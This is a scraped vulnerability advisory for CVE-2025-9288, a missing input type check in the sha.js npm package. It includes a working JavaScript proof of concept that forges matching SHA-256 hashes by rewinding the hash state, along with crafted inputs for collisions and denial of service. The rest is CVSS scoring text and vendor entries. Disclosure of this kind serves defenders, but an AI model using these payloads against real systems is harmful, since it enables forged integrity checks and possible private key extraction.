CVE-2025-9288
ADVISORY - githubSummary
Summary
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
Details
See PoC
PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
Impact
- Hash state rewind on
{length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. - Value miscalculation, e.g. a collision is generated by
{ length: buf.length, ...buf, 0: buf[0] + 256 }This will result in the same hash as ofbuf, but can be treated by other code differently (e.g. bn.js) - DoS on
{length:'1e99'} - On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
Common Weakness Enumeration (CWE)
Improper Input Validation
Improper Input Validation
GitHub
3.9
CVSS SCORE
9.1critical| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| sha.js | npm | - | - | <=2.4.11 | 2.4.12 |
CVSS:4 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges.
There is no loss of confidentiality within the Vulnerable System.
There is a total loss of confidentiality, resulting in all resources within the Subsequent System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Subsequent System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Subsequent System.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.
NIST
3.9
CVSS SCORE
9.1criticalDebian
-
Ubuntu
3.9
CVSS SCORE
9.1mediumChainguard
CGA-85x6-mgf6-g6p2
-
Chainguard
CGA-p559-8m48-9hcq
-